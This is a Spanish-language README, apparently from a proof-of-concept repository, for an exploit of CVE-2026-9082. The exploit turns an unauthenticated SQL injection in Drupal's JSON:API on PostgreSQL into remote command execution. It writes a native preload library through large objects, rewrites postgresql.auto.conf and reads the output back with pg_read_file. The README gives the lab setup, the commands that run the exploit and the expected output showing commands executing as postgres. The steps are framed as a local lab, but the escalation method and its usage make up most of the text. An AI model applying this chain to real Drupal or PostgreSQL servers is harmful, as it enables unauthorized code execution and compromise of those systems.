Exploit para CVE-2026-9082, una inyección SQL en PostgreSQL de Drupal JSON:API que escala a RCE mediante la biblioteca preload, con un laboratorio local para pruebas.
Este repositorio contiene un laboratorio local y un exploit corto para la inyección SQL en PostgreSQL de Drupal JSON:API descrita en el artículo de Ambionics.
La parte importante del exploit es la escalada de PostgreSQL: una vez que la inyección puede evaluar una expresión SELECT como superusuario de PostgreSQL, escribe una librería de precarga nativa a través de objetos grandes, recarga postgresql.auto.conf, activa session_preload_libraries y recupera la salida del comando con pg_read_file().
El exploit lee version() primero y construye el bloque mágico del módulo de PostgreSQL para la versión mayor detectada. Maneja los diseños de ABI de módulos de PostgreSQL 12, 13-14, 15-17 y 18+. El compilador local aún debe producir un objeto compartido para la misma arquitectura de CPU que el servidor PostgreSQL objetivo.
El laboratorio usa PostgreSQL 18.4, la última versión de PostgreSQL en el momento de escribir esto. La ruta de escalada de PostgreSQL ha sido probada desde PostgreSQL 12.20 hasta PostgreSQL 18.4.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
El laboratorio usa:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal está conectado a PostgreSQL como superusuario postgres para que la inyección SQL de solo SELECT pueda escalarse a RCE.
docker compose version
python3 --version
cc --version
Ejemplo de salida:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Construir e iniciar los contenedores:
docker compose build --quiet
docker compose up -d
Salida esperada:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Esperar a que Drupal esté saludable:
docker compose ps
Salida esperada:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
El laboratorio escucha en:
http://127.0.0.1:8089
Verificar la versión de PostgreSQL:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
Salida esperada:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
Verificar que JSON:API expone el artículo sembrado:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
Salida esperada:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
Salida esperada:
Successfully installed requests-...
Ejecutar id a través de la inyección SQL no autenticada de JSON:API:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
Salida esperada:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
Ejecutar otro comando:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
Salida esperada:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
Detener contenedores pero mantener el volumen de la base de datos:
docker compose down
Detener contenedores y eliminar el volumen de la base de datos:
docker compose down -v